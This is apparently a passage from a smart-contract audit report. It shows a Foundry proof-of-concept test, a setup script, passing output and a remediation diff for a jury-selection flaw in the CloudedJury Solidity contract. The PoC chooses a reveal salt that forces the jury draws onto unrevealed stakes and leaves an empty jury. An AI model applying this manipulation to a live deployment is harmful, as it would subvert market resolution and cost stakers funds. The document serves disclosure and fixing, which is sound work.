        jury.revealOutcome(1, outcomeIds[0], salt);

        (, , , , uint256 marketReveals, , , bytes32 randomNumber, bool juryHasSelectedBefore, ) = jury.getMarketStoredInfo(1);
        assertEq(marketReveals, revealedTokens.length, "the protocol recorded real revealed stakes");
        assertEq(randomNumber, salt, "the selected salt drives the real selectJury randomness");
        assertFalse(juryHasSelectedBefore, "selection not yet run");

        vm.warp(startAt + 2 days);
        assertEq(jury.updateMarketStatus(1), 2, "market reached public APPEAL selection window");

        vm.recordLogs();
        vm.prank(selector);
        jury.selectJury(1);
        Vm.Log[] memory entries = vm.getRecordedLogs();
        uint256 actualSelectedJurors = _countSelectJuryEvents(entries);

        (, , , , , , , , bool juryHasSelectedAfter, ) = jury.getMarketStoredInfo(1);
        assertTrue(juryHasSelectedAfter, "selectJury permanently marks the market selected");

        uint256 intendedDrawsFromAllStakes = (revealedTokens.length + silentTokens.length) / 5;
        assertGt(intendedDrawsFromAllStakes, 0, "test setup: jury selection should draw from the stake set");
        assertGt(marketReveals, 0, "test setup: valid revealed candidates exist");

        // Vulnerability: both configured draws hit unrevealed positions. The implementation increments _attempt
        // without adding a replacement juror, leaving an already-selected market with no effective jury members.
        // A safe implementation that rerolls skipped non-reveals, or sizes the sample from revealed candidates,
        // would emit at least one SelectJury event here because two revealed staked tokens exist.
        assertEq(actualSelectedJurors, 0, "bug: unrevealed hits consume all attempts and leave an empty selected jury");
    }
}

Setup script

#!/bin/bash
set -e

# Standalone PoC reproduction. Run from the repository root of a checkout at
# the audited commit, with the language toolchain installed.

# Place the downloaded PoC files at these paths before running:
#   test/Poc.t.sol

# build and run
cp Clouded.sol CloudedDAO.sol CloudedJury.sol CloudedManager.sol src/ && forge build
forge test --match-path test/Poc.t.sol -vv

Output

[output truncated: 1169 lines & 64.2021484375 KB skipped]
[test] forge test --match-path test/Poc.t.sol -vv
[test] exit code: 0

No files changed, compilation skipped

Ran 1 test for test/Poc.t.sol:PocTest
[PASS] test_selectJuryConsumesDrawsOnUnrevealedStakesAndReturnsEmptyJury() (gas: 4910592)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.06ms (1.89ms CPU time)

Ran 1 test suite in 13.81ms (4.06ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Considerations

PoC passed with forge test --match-path test/Poc.t.sol -vv using the configured Foundry unit harness. It demonstrates the selection shrinkage path by choosing a reveal salt that makes the real CloudedJury.selectJury first two draws land on unrevealed staked tokens, producing zero SelectJury events while marketReveals > 0 and juryHasSelected == true. The test proves the skipped-draw/empty-jury state change, but does not continue into challenge/voting or reward-claim accounting after selection.

Validation reasoning

PoC validation command completed successfully.

Remediation

Explanation

Jury size is derived from the revealed stake count, and unrevealed draws no longer consume selected slots: selection keeps drawing without replacement until the revealed target is reached or every stake has been examined.

Patch

diff
diff --git a/CloudedJury.sol b/CloudedJury.sol
--- a/CloudedJury.sol
+++ b/CloudedJury.sol
@@ -1,646 +1,649 @@
 // SPDX-License-Identifier: MIT
 
 pragma solidity ^0.8.24;
 
 import { Strings } from "@openzeppelin/contracts/utils/Strings.sol";
 import { ERC721 } from "@openzeppelin/contracts/token/ERC721/ERC721.sol";
 import { ReentrancyGuardTransient } from "@openzeppelin/contracts/utils/ReentrancyGuardTransient.sol";
 
 library Ids {
     struct Set {
         uint256[] ids;
         mapping(uint256 => uint256) positions;
     }
 
     function add(Set storage set, uint256 _id) internal {
         if (set.positions[_id] == 0) {
             set.ids.push(_id);
             set.positions[_id] = set.ids.length; // skip index 0 for non existing element
         }
     }
 
     function remove(Set storage set, uint256 _id) internal {
         uint256 _position = set.positions[_id];
         if (_position != 0) {
             uint256 _index = _position - 1;
             uint256 _lastIndexId = set.ids[set.ids.length - 1];
             set.ids[_index] = _lastIndexId;
             set.positions[_lastIndexId] = _position;
             set.ids.pop();
             delete set.positions[_id];
         }
     }
 
     function swap(Set storage set, uint256 _indexA, uint256 _indexB) internal {
         if (_indexA == _indexB) return;
         
         uint256 idA = set.ids[_indexA];
         uint256 idB = set.ids[_indexB];
 
         set.ids[_indexA] = idB;
         set.ids[_indexB] = idA;
 
         set.positions[idA] = _indexB + 1;
         set.positions[idB] = _indexA + 1;
     }
 
     function isSet(Set storage set, uint256 _id) internal view returns (bool) { return set.positions[_id] != 0; }
 
     function getId(Set storage set, uint256 _position) internal view returns (uint256) { return set.ids[_position]; }
 
     function getAll(Set storage set) internal view returns (uint256[] memory) { return set.ids; }
 
     function getLength(Set storage set) internal view returns (uint256) { return set.ids.length; }
 }
 
 interface IClouded {
     function nextMarketId() external view returns (uint256);
     function getMarketStartAtDaysOf(uint256) external view returns (uint256, uint256);
     function getOutcomeMarketId(uint256) external view returns (uint256);
     function getMarketOutcomeIds(uint256) external view returns (uint256[] memory);
     function getMarketWinningOutcome(uint256) external view returns (uint256);
     function getPriceAppreciation(uint256, bool, uint256) external view returns (uint256);
     function getMarketIndexInfoInBatch(uint256[] memory _marketIds) external view returns (string[] memory, uint256[] memory, uint256[][] memory, string[][] memory, uint256[][] memory, uint256[] memory, uint256[] memory, uint256[] memory);
     function getMarketResolutionInfoInBatch(uint256[] memory) external view returns (string[] memory, uint256[] memory, uint256[] memory, uint256[] memory, uint256[] memory);
     function createMarket(string memory, string memory, string[] memory, uint256) external returns (uint256[] memory);
     function buy(address, uint256, uint256, uint256, uint256, uint256) external payable;
     function claimJuryReward(address, uint256, uint256) external returns (uint256);
 }
 
 interface IDAO {
     function mint(address, uint256) external;
     function outcomeVotes(uint256) external view returns (uint256);
     function buyBack() external payable;
 }
 
 contract CloudedJury is ERC721, ReentrancyGuardTransient {
     using Strings for uint256;
     using Ids for Ids.Set;
 
     event AddToWhitelist(address indexed addr);
     event BatchMetadataUpdate(uint256 fromTokenId, uint256 toTokenId);
     event Stake(address indexed staker, uint256 indexed marketId, uint256 indexed tokenId);
     event Unstake(address indexed staker, uint256 indexed marketId, uint256 indexed tokenId);
     event CreateMarket(address indexed marketCreator, uint256 indexed marketId, uint256 indexed tokenId);
     event StakeAfter(address indexed staker, uint256 indexed marketId, uint256 marketStakes);
     event UnstakeAfter(address indexed staker, uint256 indexed marketId, uint256 marketStakes, bool isMarketOf);
     event CreateMarketAfter(address indexed marketCreator, uint256 indexed marketId, string marketName, string marketRule, uint256[] marketOutcomeIds, string[] marketOutcomeNames, uint256 startAt, uint256 daysOf);
     event RevealOutcome(uint256 indexed marketId, address indexed juryAddr, uint256 indexed juryOutcomeIdOf, bytes32 randomNumber, uint256 juryReveals, uint256 marketRevealedTS, uint256 juryOutcome);
     event SelectJury(uint256 indexed marketId, uint256 indexed tokenId, uint256 indexed tokenOutcomeId, address tokenOwner);
     event Challenge(address indexed challenger, uint256 indexed marketId, uint256 indexed tokenId, uint256 marketChallengedTS);
     event ResolveMarket(uint256 indexed marketId, uint256 votingOutcomeId, uint256 resolvedOutcomeId);
     event ClaimCreatorToken(address indexed creator, uint256 indexed marketId, uint256 tokenId);
     event ClaimChallengerReward(address indexed challenger, uint256 indexed marketId, uint256 tokenId, uint256 challengerReward);
     event ClaimJuryReward(address indexed staker, uint256 indexed marketId, uint256 tokenId, uint256 tokenReward);
     event ClaimRewardAfter(address indexed staker, uint256 indexed marketId, bool isMarketOf);
     event Slash(address indexed staker, uint256 indexed marketId, uint256 outcomeId, uint256 tokenId);
     event SendSlashedTokenToDAO(uint256 indexed marketId, uint256 tokens, uint256 tokenValue);
     event PublicLaunch();
 
     uint256 constant DECIMALS = 1e18;
     address public immutable MANAGER;
     address public CLOUDED;
     address public DAO;
 
     bool public whitelisted;
 
     // Overall protocol conditions
     string  private uri_;
     string  private baseURI_;
     uint256 private nextTokenId_;
     uint256 private totalSupply_;
     Ids.Set private allOngoingMarketIds_;
     Ids.Set private allResolvedMarketIds_;
     mapping(uint256 => Market) private markets_;
 
     // Staker conditions
     mapping(address => bool) private whitelisted_;
     mapping(address => Ids.Set) private tokenOf_;
     mapping(address => Ids.Set) private marketOf_; // Markets that stakers participate which include staking, creating, challenging
     mapping(uint256 => address) private tokenAddr_; // Staker token address
     mapping(address => mapping(uint256 => Ids.Set)) private marketTokenOf_;
     mapping(address => mapping(uint256 => Ids.Set)) private marketCreatorTokenOf_;
     mapping(address => mapping(uint256 => Ids.Set)) private marketChallengerTokenOf_;
     mapping(address => mapping(uint256 => bytes32)) private marketCommitHashOf_;
     mapping(address => mapping(uint256 => bool)) private marketHasRevealedOf_;
     mapping(address => mapping(uint256 => uint256)) private marketOutcomeOf_;
 
     // Staked tokens
     mapping(uint256 => Ids.Set) private marketStakes_; // total stakes in the market excluding creator and challenger tokens
     mapping(uint256 => Ids.Set) private marketJuryStakes_; // total stakes picked as jury
     mapping(uint256 => mapping(uint256 => uint256)) private juryOutcomeCount_;   // The amount of stakes in the jury, in the order of marketId → outcomeId → count
     mapping(uint256 => mapping(uint256 => uint256)) private marketOutcomeCount_; // The amount of stakes in the market
 
     struct Market {
         uint256 creatorTokens;
         uint256 challengerToken;
         uint256 marketRevealedTS;
         uint256 marketChallengedTS;
         uint256 marketReveals;
         uint256 juryOutcome;
         uint256 votingOutcome;
         bytes32 randomNumber;
         bool juryHasSelected;
         bool marketResolved;
         Status status;
     }
 
     enum Status {
         ONGOING, 
         JURY, 
         APPEAL, 
         VOTING, 
         SETTLED
     }
 
     modifier isManager() { if (msg.sender != MANAGER) revert NotAuthorized(); _; }
 
     constructor(string memory _name, string memory _symbol, address _managerAddr) ERC721(_name, _symbol) {
         MANAGER = _managerAddr;
         whitelisted = true;
         nextTokenId_ = 1;
     }
 
     function addToWhitelist(address _addr) external isManager {
         whitelisted_[_addr] = true;
         emit AddToWhitelist(_addr);
     }
 
     function publicLaunch() external isManager { whitelisted = false; emit PublicLaunch(); }
 
     function isWhitelisted(address _addr) external view returns (bool) { return whitelisted_[_addr]; }
 
     function tokenURI(uint256 _tokenId) public view override returns (string memory) {
         _requireOwned(_tokenId);
         return bytes(baseURI_).length > 0 ? baseURI_ : string.concat(uri_, _tokenId.toString());
     }
 
     function updateURI(string memory _newBaseURI, string memory _newURI) external isManager {
         baseURI_ = _newBaseURI;
         uri_ = _newURI;
         emit BatchMetadataUpdate(1, nextTokenId_ - 1);
     }
 
     function updateDAOAddr(address _daoAddr) external isManager { DAO = _daoAddr; }
 
     function updateCloudedAddr(address _cloudedAddr) external isManager { CLOUDED = _cloudedAddr; }
 
     function updateMarketStatus(uint256 _marketId) external returns (uint8) { return uint8(_updateMarketStatus(_marketId)); }
 
     function getAllOngoingMarketIds() external view returns (uint256[] memory) { return allOngoingMarketIds_.getAll(); }
 
     function getCurrentCreateMarketPrice() external view returns (uint256) { return _getCurrentCreateMarketPrice(); }
 
     function getResolvedMarkets() external view returns (uint256) { return allResolvedMarketIds_.getLength(); }
 
     function getResolvedMarketIds(uint256 _offset, uint256 _limit) external view returns (uint256[] memory ids) {
         uint256 _totalMarkets = allResolvedMarketIds_.getLength();
         if (_offset >= _totalMarkets || _limit == 0) return new uint256[](0);
 
         uint256 _end   = _totalMarkets - _offset;
         uint256 _count = _end > _limit ? _limit : _end;
 
         ids = new uint256[](_count);
         for (uint256 i = 0; i < _count; i++) { ids[i] = allResolvedMarketIds_.getId(_end - 1 - i); }
     }
 
     function getMarketStoredInfo(uint256 _marketId) external view returns (
         uint256 creatorTokens, 
         uint256 challengerToken, 
         uint256 marketRevealedTS, 
         uint256 marketChallengedTS, 
         uint256 marketReveals, 
         uint256 juryOutcome, 
         uint256 votingOutcome, 
         bytes32 randomNumber, 
         bool    juryHasSelected, 
         bool    marketResolved
     ) {
         Market storage market = markets_[_marketId];
         creatorTokens      = market.creatorTokens;
         challengerToken    = market.challengerToken;
         marketRevealedTS   = market.marketRevealedTS;
         marketChallengedTS = market.marketChallengedTS;
         marketReveals      = market.marketReveals;
         juryOutcome        = market.juryOutcome;
         votingOutcome      = market.votingOutcome;
         randomNumber       = market.randomNumber;
         juryHasSelected    = market.juryHasSelected;
         marketResolved     = market.marketResolved;
     }
 
     function getMarketDerivedInfo(uint256 _marketId) external view returns (uint256 resolvedOutcome, uint8 status) {
         resolvedOutcome = _getResolvedMarketOutcome(_marketId);
         Status _current = _getMarketStatus(_marketId);
         status = uint8(_current > markets_[_marketId].status ? _current : markets_[_marketId].status);
     }
 
     function getUserTokenIds(address _userAddr) external view returns (uint256[] memory) { return tokenOf_[_userAddr].getAll(); }
 
     function getStakerMarketIds(address _stakerAddr) external view returns (uint256[] memory) { return marketOf_[_stakerAddr].getAll(); }
 
     function getStakerMarketTokenIds(address _stakerAddr, uint256 _marketId) external view returns (uint256[] memory creatorTokenIds, uint256[] memory challengerTokenIds, uint256[] memory stakerTokenIds) {
         creatorTokenIds    = marketCreatorTokenOf_[_stakerAddr][_marketId].getAll();
         challengerTokenIds = marketChallengerTokenOf_[_stakerAddr][_marketId].getAll();
         stakerTokenIds     = marketTokenOf_[_stakerAddr][_marketId].getAll();
     }
 
     function mint(uint256 _amount) external payable nonReentrant {
         if (whitelisted && !whitelisted_[msg.sender]) revert Whitelisted();
 
         if (_amount == 0) revert ZeroAmount();
 
         uint256 _mintPrice = 3 * _amount * DECIMALS; // The price for minting an NFT is 3 $HYPE
         if (msg.value < _mintPrice) revert InsufficientPayment();
 
         for (uint256 i = 0; i < _amount; i++) {
             _mint(msg.sender, nextTokenId_);
             nextTokenId_++;
         }
 
         IDAO(DAO).buyBack{value: _amount * DECIMALS / 100}();
 
         uint256 _refund = msg.value - _mintPrice;
         if (_refund > 0) {
             (bool _success, ) = msg.sender.call{value: _refund}("");
             if (!_success) revert RefundFailed();
         }
     }
 
     function redeem(uint256[] memory _tokenIds) external nonReentrant {
         uint256 _amount;
         for (uint256 i = 0; i < _tokenIds.length; i++) {
             if (_ownerOf(_tokenIds[i]) != msg.sender) revert NotOwner(_tokenIds[i]);
             _burn(_tokenIds[i]);
             _amount++;
         }
 
         if (_amount == 0) revert ZeroAmount();
 
         (bool _success, ) = msg.sender.call{value: _amount * 299 * DECIMALS / 100}("");
         if (!_success) revert RefundFailed();
     }
 
     function stake(uint256 _marketId, uint256[] memory _tokenIds, bytes32 _commitHash) external nonReentrant {
         if (_commitHash == 0) revert NoCommitHash();
         if (_tokenIds.length == 0) revert NoTokenSelected();
         if (_updateMarketStatus(_marketId) != Status.ONGOING) revert MarketEnded();
 
         uint256 _tokenId;
         Ids.Set storage marketStakes  = marketStakes_[_marketId];
         Ids.Set storage marketTokenOf = marketTokenOf_[msg.sender][_marketId];
         for (uint256 i = 0; i < _tokenIds.length; i++) {
             _tokenId = _tokenIds[i];
             if (_ownerOf(_tokenId) != msg.sender) revert NotOwner(_tokenId);
             marketStakes.add(_tokenId);
             marketTokenOf.add(_tokenId);
             tokenAddr_[_tokenId] = msg.sender;
             _update(address(this), _tokenId, msg.sender);
             emit Stake(msg.sender, _marketId, _tokenId);
         }
         marketOf_[msg.sender].add(_marketId);
         marketCommitHashOf_[msg.sender][_marketId] = _commitHash;
         emit StakeAfter(msg.sender, _marketId, marketStakes.getLength());
     }
 
     function unstake(uint256 _marketId, uint256[] memory _tokenIds) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.ONGOING) revert MarketEnded();
 
         Ids.Set storage marketStakes  = marketStakes_[_marketId];
         Ids.Set storage marketTokenOf = marketTokenOf_[msg.sender][_marketId];
         for (uint256 i = 0; i < _tokenIds.length; i++) {
             if (!marketTokenOf.isSet(_tokenIds[i])) revert NotStakedByOwner(_tokenIds[i]);
             marketStakes.remove(_tokenIds[i]);
             _unstake(_marketId, _tokenIds[i]);
         }
         if (marketTokenOf.getLength() == 0) delete marketCommitHashOf_[msg.sender][_marketId];
         if (marketCreatorTokenOf_[msg.sender][_marketId].getLength() == 0 && marketChallengerTokenOf_[msg.sender][_marketId].getLength() == 0 && marketTokenOf.getLength() == 0) marketOf_[msg.sender].remove(_marketId);
         emit UnstakeAfter(msg.sender, _marketId, marketStakes.getLength(), marketOf_[msg.sender].isSet(_marketId));
     }
 
     function createMarket(string memory _name, string memory _rule, string[] memory _outcomes, uint256 _days, uint256[] memory _tokenIds, uint256 _outcomePosition, uint256 _shares) external payable nonReentrant {
         if (_outcomePosition == 0 || _outcomePosition > _outcomes.length) revert InvalidId();
 
         uint256 _requiredTokenAmount = _getCurrentCreateMarketPrice();
         if (_tokenIds.length < _requiredTokenAmount) revert StakeRequiredAmounts();
 
         uint256 _nextMarketId = IClouded(CLOUDED).nextMarketId();
         for (uint256 i = 0; i < _tokenIds.length; i++) {
             if (_ownerOf(_tokenIds[i]) != msg.sender) revert NotOwner(_tokenIds[i]);
             marketCreatorTokenOf_[msg.sender][_nextMarketId].add(_tokenIds[i]);
             _update(address(this), _tokenIds[i], msg.sender);
             emit CreateMarket(msg.sender, _nextMarketId, _tokenIds[i]);
         }
 
         allOngoingMarketIds_.add(_nextMarketId);
         marketOf_[msg.sender].add(_nextMarketId);
         markets_[_nextMarketId].creatorTokens = _tokenIds.length;
 
         uint256[] memory _outcomeIds = IClouded(CLOUDED).createMarket(_name, _rule, _outcomes, _days);
         emit CreateMarketAfter(msg.sender, _nextMarketId, _name, _rule, _outcomeIds, _outcomes, block.timestamp, _days * 1 days);
 
         uint256 _outcomeId = _outcomeIds[_outcomePosition - 1];
         _creatorBuy(_nextMarketId, _outcomeId, _shares);
     }
 
     function revealOutcome(uint256 _marketId, uint256 _outcomeId, bytes32 _salt) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.JURY) revert JuryWindowEnded();
         if (IClouded(CLOUDED).getOutcomeMarketId(_outcomeId) != _marketId) revert InvalidId();
         if (marketHasRevealedOf_[msg.sender][_marketId]) revert OutcomeRevealed();
         marketHasRevealedOf_[msg.sender][_marketId] = true;
 
         bytes32 _commitHash = marketCommitHashOf_[msg.sender][_marketId];
         if (_commitHash == 0) revert NoCommitHash();
         if (keccak256(abi.encodePacked(msg.sender, _marketId, _outcomeId, _salt)) != _commitHash) revert WrongCommitHash();
         marketOutcomeOf_[msg.sender][_marketId] = _outcomeId;
 
         Market storage market = markets_[_marketId];
         market.randomNumber   = market.randomNumber ^ _salt;
 
         market.marketReveals     += marketTokenOf_[msg.sender][_marketId].getLength();
         if (market.marketReveals == marketStakes_[_marketId].getLength()) market.marketRevealedTS = block.timestamp;
 
         uint256 _winningOutcomeId;
         uint256 _winningOutcomeCount;
         uint256[] memory _marketOutcomeIds = IClouded(CLOUDED).getMarketOutcomeIds(_marketId);
         marketOutcomeCount_[_marketId][_outcomeId] += marketTokenOf_[msg.sender][_marketId].getLength();
         for (uint256 i = 0; i < _marketOutcomeIds.length; i++) {
             if (marketOutcomeCount_[_marketId][_marketOutcomeIds[i]] > _winningOutcomeCount) {
                 _winningOutcomeId    = _marketOutcomeIds[i];
                 _winningOutcomeCount = marketOutcomeCount_[_marketId][_marketOutcomeIds[i]];
             }
         }
         market.juryOutcome = _winningOutcomeId;
 
         emit RevealOutcome(_marketId, msg.sender, _outcomeId, market.randomNumber, market.marketReveals, market.marketRevealedTS, market.juryOutcome);
     }
 
     function selectJury(uint256 _marketId) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.APPEAL) revert AppealWindowEnded();
 
         if (markets_[_marketId].juryHasSelected) revert JurySelected(true);
         markets_[_marketId].juryHasSelected = true;
 
         uint256 _attempt;
+        uint256 _selected;
         Ids.Set storage marketStakes = marketStakes_[_marketId];
         uint256 _totalStakedTokens   = marketStakes.getLength();
-        uint256 _jurySet             = _totalStakedTokens == 0 ? 0 : _totalStakedTokens < 5 ? 1 : _totalStakedTokens / 5 < 300 ? _totalStakedTokens / 5 : 300;
-        while (_attempt < _jurySet) {
+        uint256 _totalRevealedTokens = markets_[_marketId].marketReveals;
+        uint256 _jurySet             = _totalRevealedTokens == 0 ? 0 : _totalRevealedTokens < 5 ? 1 : _totalRevealedTokens / 5 < 300 ? _totalRevealedTokens / 5 : 300;
+        while (_selected < _jurySet && _attempt < _totalStakedTokens) {
             uint256 _position = _attempt + uint256(keccak256(abi.encodePacked(markets_[_marketId].randomNumber, _attempt))) % (marketStakes.getLength() - _attempt);
             marketStakes.swap(_attempt, _position);
 
             uint256 _tokenId        = marketStakes.getId(_attempt);
             address _tokenOwner     = tokenAddr_[_tokenId];
             uint256 _tokenOutcomeId = marketOutcomeOf_[_tokenOwner][_marketId];
             if (_tokenOutcomeId != 0) {
                 marketJuryStakes_[_marketId].add(_tokenId);
                 juryOutcomeCount_[_marketId][_tokenOutcomeId]++;
+                _selected++;
                 emit SelectJury(_marketId, _tokenId, _tokenOutcomeId, _tokenOwner);
             }
 
             _attempt++;
         }
     }
 
     // Challenge can only be made once every market. 
     // The token will be rewarded if the voters also agree with the same outcome, 
     // but will be slashed for being wrong.
     function challenge(uint256 _marketId, uint256 _tokenId) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.APPEAL) revert AppealWindowEnded();
         if (_ownerOf(_tokenId) != msg.sender) revert NotOwner(_tokenId);
 
         Market storage market = markets_[_marketId];
         if (!market.juryHasSelected) revert JurySelected(false);
         if (market.marketChallengedTS != 0) revert MarketAlreadyChallenged();
         market.marketChallengedTS = block.timestamp;
         market.challengerToken++;
 
         marketOf_[msg.sender].add(_marketId);
         marketChallengerTokenOf_[msg.sender][_marketId].add(_tokenId);
 
         _update(address(this), _tokenId, msg.sender);
 
         emit Challenge(msg.sender, _marketId, _tokenId, block.timestamp);
     }
 
     function resolveMarket(uint256 _marketId) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.SETTLED) revert MarketNotEnded();
 
         Market storage market = markets_[_marketId];
         if (market.marketResolved) revert MarketResolved(true);
         market.marketResolved = true;
 
         allOngoingMarketIds_.remove(_marketId);
         allResolvedMarketIds_.add(_marketId);
 
         bool _isMarketChallenged = market.marketChallengedTS != 0;
         if (_isMarketChallenged) {
             uint256[] memory _marketOutcomeIds = IClouded(CLOUDED).getMarketOutcomeIds(_marketId);
             uint256[] memory _marketOutcomes   = new uint256[](_marketOutcomeIds.length);
             for (uint256 i = 0; i < _marketOutcomeIds.length; i++) _marketOutcomes[i] = IDAO(DAO).outcomeVotes(_marketOutcomeIds[i]);
             market.votingOutcome = _calculateMarketOutcome(_marketOutcomeIds, _marketOutcomes);
         }
 
         uint256 _resolvedOutcomeId = _getResolvedMarketOutcome(_marketId);
         _sendSlashedTokenValueToDao(_marketId, _resolvedOutcomeId);
 
         emit ResolveMarket(_marketId, market.votingOutcome, _resolvedOutcomeId);
     }
 
     function claimReward(uint256 _marketId, uint256[] memory _tokenIds) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.SETTLED) revert MarketNotEnded();
         if (!markets_[_marketId].marketResolved) revert MarketResolved(false);
 
         uint256 _currentTokenId;
         uint256 _marketOutcome = _getResolvedMarketOutcome(_marketId);
         uint256 _outcomeOf     = marketOutcomeOf_[msg.sender][_marketId];
         (, uint256 _daysOf)    = IClouded(CLOUDED).getMarketStartAtDaysOf(_marketId);
         (, uint256 _totalWinnerOutcomeStakes)   = _getSlashedAndRewardedTokens(_marketId, _marketOutcome);
         Market  storage market                  = markets_[_marketId];
         Ids.Set storage marketTokenOf           = marketTokenOf_[msg.sender][_marketId];
         Ids.Set storage marketCreatorTokenOf    = marketCreatorTokenOf_[msg.sender][_marketId];
         Ids.Set storage marketChallengerTokenOf = marketChallengerTokenOf_[msg.sender][_marketId];
         for (uint256 i = 0; i < _tokenIds.length; i++) {
             _currentTokenId = _tokenIds[i];
 
             if (marketCreatorTokenOf.isSet(_currentTokenId)) { _claimCreatorToken(_marketId, _currentTokenId); continue; }
 
             if (marketChallengerTokenOf.isSet(_currentTokenId)) {
                 if (market.juryOutcome != _marketOutcome) { // market.juryOutcome can be 0 if challenged
                     _claimChallengerReward(_marketId, _currentTokenId, _totalWinnerOutcomeStakes);
                     if (market.marketReveals == marketStakes_[_marketId].getLength()) IDAO(DAO).mint(msg.sender, _daysOf / 1 days * DECIMALS);
                 } else _slash(_marketId, _outcomeOf, _currentTokenId); // Challenger has no vote on market outcome
                 continue;
             }
 
             if (!marketTokenOf.isSet(_currentTokenId)) continue; // The token is not creator, challenger, staker token, or belong to the market or caller
 
             if (!marketHasRevealedOf_[msg.sender][_marketId]) { _slash(_marketId, _outcomeOf, _currentTokenId); continue; }
 
             if (marketJuryStakes_[_marketId].isSet(_currentTokenId)) {
                 if (_outcomeOf != _marketOutcome) { _slash(_marketId, _outcomeOf, _currentTokenId); continue; } // The jury outcome is also checked and slashed if 0, equivalent to _getSlashedAndRewardedTokens
                 else if (market.marketReveals == marketStakes_[_marketId].getLength()) IDAO(DAO).mint(msg.sender, _daysOf / 1 days * DECIMALS);
             }
 
             _unstake(_marketId, _currentTokenId);
 
             uint256 _tokenReward;
             if (_outcomeOf == _marketOutcome) _tokenReward = IClouded(CLOUDED).claimJuryReward(msg.sender, _marketId, _totalWinnerOutcomeStakes);
 
             emit ClaimJuryReward(msg.sender, _marketId, _currentTokenId, _tokenReward);
         }
 
         if (marketCreatorTokenOf.getLength() == 0 && marketChallengerTokenOf.getLength() == 0 && marketTokenOf.getLength() == 0) marketOf_[msg.sender].remove(_marketId);
 
         emit ClaimRewardAfter(msg.sender, _marketId, marketOf_[msg.sender].isSet(_marketId));
     }
 
     function _getCurrentCreateMarketPrice() private view returns (uint256) { return totalSupply_ / 100 > 5 ? totalSupply_ / 100 : 5; }
 
     function _update(address _to, uint256 _tokenId, address _auth) internal override returns (address) {
         address from = super._update(_to, _tokenId, _auth);
 
         if (from == address(0)) totalSupply_++;
         if (_to == address(0)) totalSupply_--;
 
         if (from != address(0)) tokenOf_[from].remove(_tokenId);
         if (_to != address(0)) tokenOf_[_to].add(_tokenId);
 
         return from;
     }
 
     function _updateMarketStatus(uint256 _marketId) private returns (Status) {
         if (_marketId == 0 || _marketId >= IClouded(CLOUDED).nextMarketId()) revert InvalidId();
         Market storage market = markets_[_marketId];
         Status _currentMarketStatus = _getMarketStatus(_marketId);
         if (_currentMarketStatus > market.status) market.status = _currentMarketStatus;
         return market.status;
     }
 
     function _getMarketStatus(uint256 _marketId) private view returns (Status) {
         (uint256 _startAt, uint256 _daysOf) = IClouded(CLOUDED).getMarketStartAtDaysOf(_marketId);
         uint256 _marketEndAt = _startAt + _daysOf;
 
         Market storage market = markets_[_marketId];
         uint256 _currentTimestamp = block.timestamp;
 
         if (_currentTimestamp < _marketEndAt) return Status.ONGOING;
 
         if (market.marketRevealedTS == 0 && _currentTimestamp < _marketEndAt + 1 days) return Status.JURY;
 
         uint256 _challengeStart = market.marketRevealedTS != 0 ? market.marketRevealedTS : _marketEndAt + 1 days;
 
         if (market.marketChallengedTS != 0) return _currentTimestamp >= market.marketChallengedTS + 3 days ? Status.SETTLED : Status.VOTING;
 
         return _currentTimestamp < _challengeStart + 1 days ? Status.APPEAL : Status.SETTLED;
     }
 
     function _creatorBuy(uint256 _nextMarketId, uint256 _outcomeId, uint256 _shares) private {
         uint256 _executionPrice = IClouded(CLOUDED).getPriceAppreciation(_outcomeId, true, _shares);
         if (msg.value < _executionPrice) revert InsufficientPayment();
 
         IClouded(CLOUDED).buy{value: _executionPrice}(msg.sender, _nextMarketId, _outcomeId, _shares, _executionPrice, 0);
 
         if (msg.value - _executionPrice > 0) {
             (bool _success, ) = msg.sender.call{value: msg.value - _executionPrice}("");
             if (!_success) revert RefundFailed();
         }
     }
 
     function _unstake(uint256 _marketId, uint256 _tokenId) private {
         marketTokenOf_[msg.sender][_marketId].remove(_tokenId);
         delete tokenAddr_[_tokenId];
         _update(msg.sender, _tokenId, address(this));
         emit Unstake(msg.sender, _marketId, _tokenId);
     }
 
     function _calculateMarketOutcome(uint256[] memory _marketOutcomeIds, uint256[] memory _marketOutcomes) private pure returns (uint256) {
         uint256 _winningOutcome;
         uint256 _winningAmount;
         for (uint256 i = 0; i < _marketOutcomes.length; i++) {
             if (_marketOutcomes[i] > _winningAmount) {
                 _winningOutcome = _marketOutcomeIds[i];
                 _winningAmount  = _marketOutcomes[i];
             }
         }
         return _winningOutcome;
     }
 
     function _slash(uint256 _tokenMarketId, uint256 _tokenOutcomeId, uint256 _tokenId) private {
         marketChallengerTokenOf_[msg.sender][_tokenMarketId].remove(_tokenId);
         marketTokenOf_[msg.sender][_tokenMarketId].remove(_tokenId);
         delete tokenAddr_[_tokenId];
         emit Slash(msg.sender, _tokenMarketId, _tokenOutcomeId, _tokenId);
     }
 
     function _sendSlashedTokenValueToDao(uint256 _marketId, uint256 _marketResolvedOutcomeId) private {
         (uint256 _slashedTokens, ) = _getSlashedAndRewardedTokens(_marketId, _marketResolvedOutcomeId);
         if (_slashedTokens > 0) {
             totalSupply_ -= _slashedTokens;
             IDAO(DAO).buyBack{value: _slashedTokens * 299 * DECIMALS / 100}();
             emit SendSlashedTokenToDAO(_marketId, _slashedTokens, _slashedTokens * 299 * DECIMALS / 100);
         }
     }
 
     function _getSlashedAndRewardedTokens(uint256 _marketId, uint256 _marketOutcome) private view returns (uint256 slashedTokens, uint256 winnerOutcomeStakes) {
         Market storage market = markets_[_marketId];
         uint256 _juryOutcome              = market.juryOutcome;
         uint256 _marketChallengerToken    = market.challengerToken;
         bool    _isChallengerTokenSlashed = _marketOutcome == _juryOutcome;
 
         slashedTokens = marketJuryStakes_[_marketId].getLength() - juryOutcomeCount_[_marketId][_marketOutcome];
 
         if (_isChallengerTokenSlashed) {
             slashedTokens += _marketChallengerToken;
             _marketChallengerToken = 0;
         }
 
         winnerOutcomeStakes = _marketChallengerToken + marketOutcomeCount_[_marketId][_marketOutcome];
 
         slashedTokens += marketStakes_[_marketId].getLength() - market.marketReveals; // Total slashed tokens including tokens not revealed
     }
 
     function _getResolvedMarketOutcome(uint256 _marketId) private view returns (uint256) {
         Market storage market = markets_[_marketId];
